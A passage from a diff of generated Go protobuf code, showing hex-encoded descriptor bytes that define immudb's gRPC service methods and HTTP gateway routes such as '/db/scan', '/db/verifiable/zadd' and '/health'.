0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, + 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x63, 0x61, + 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, + 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, + 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f, + 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53, + 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, + 0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, + 0x73, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x42, + 0x79, 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x54, 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x22, 0x1b, 0x2f, 0x64, - 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, - 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x50, 0x0a, 0x04, - 0x5a, 0x41, 0x64, 0x64, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x73, - 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, - 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x64, 0x62, - 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x7a, 0x61, 0x64, 0x64, - 0x3a, 0x01, 0x2a, 0x12, 0x53, 0x0a, 0x05, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x53, 0x63, - 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x69, - 0x65, 0x73, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x22, 0x09, 0x2f, 0x64, 0x62, 0x2f, - 0x7a, 0x73, 0x63, 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0e, 0x43, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x88, 0x02, 0x01, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x6b, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x12, 0x1f, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x1a, 0x16, 0x2e, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1c, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x13, 0x22, - 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x77, 0x69, 0x74, 0x68, 0x3a, - 0x01, 0x2a, 0x12, 0x79, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, 0x0d, 0x2f, 0x64, 0x62, - 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x6c, 0x0a, - 0x0c, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, - 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, - 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x6f, 0x61, 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x74, 0x0a, 0x0e, 0x55, - 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x24, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x6e, - 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x3a, 0x01, - 0x2a, 0x12, 0x74, 0x0a, 0x0e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x63, 0x0a, 0x0c, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, + 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, 0x2f, + 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1c, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, + 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4c, + 0x69, 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x64, 0x62, + 0x2f, 0x74, 0x78, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, + 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, + 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x3a, 0x01, 0x2a, + 0x12, 0x6b, 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x20, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, + 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x73, 0x65, + 0x72, 0x76, 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x55, 0x0a, + 0x06, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, - 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, - 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, 0x0e, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x32, 0x12, 0x24, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x14, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, + 0x41, 0x02, 0x62, 0x00, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x56, 0x32, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, - 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x22, 0x16, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x2f, 0x76, 0x32, - 0x3a, 0x01, 0x2a, 0x12, 0x67, 0x0a, 0x0b, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x22, 0x1e, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x73, 0x65, 0x2f, 0x7b, 0x64, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x12, 0x63, 0x0a, 0x0e, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x1f, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, + 0x64, 0x62, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x5d, + 0x0a, 0x0c, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x12, 0x09, 0x2f, + 0x64, 0x62, 0x2f, 0x73, 0x74, 0x61, 0x74, 0x65, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x65, 0x0a, + 0x0c, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x1f, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, + 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, + 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, + 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, + 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x88, 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, + 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, + 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x22, + 0x1b, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, + 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x12, + 0x50, 0x0a, 0x04, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x13, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x3a, 0x01, + 0x2a, 0x12, 0x73, 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, + 0x41, 0x64, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, + 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, + 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x7a, + 0x61, 0x64, 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x53, 0x0a, 0x05, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, + 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, + 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x22, 0x09, 0x2f, + 